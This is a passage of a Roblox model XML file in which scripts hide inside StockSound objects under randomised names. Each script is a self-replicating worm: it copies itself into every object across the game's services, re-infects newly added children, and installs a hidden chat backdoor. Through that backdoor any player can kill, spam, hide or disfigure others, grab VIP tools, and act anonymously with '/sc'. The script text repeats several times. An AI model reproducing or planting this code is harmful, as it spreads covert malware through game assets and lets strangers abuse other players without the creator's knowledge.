g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Humanoid" referent="RBX424">
						<Properties>
							<float name="Health">100</float>
							<bool name="Jump">false</bool>
							<float name="MaxHealth">100</float>
							<string name="Name">Humanoid</string>
							<bool name="Sit">false</bool>
							<bool name="Strafe">false</bool>
							<Vector3 name="TargetPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="WalkDirection">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="WalkRotationalVelocity">0</float>
							<float name="WalkSpeed">16</float>
							<Ref name="WalkToPart">null</Ref>
							<Vector3 name="WalkToPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX425">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">4lqj9k</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX426">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">uh14os6a</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX427">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ug3v</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX428">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">m630g4</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
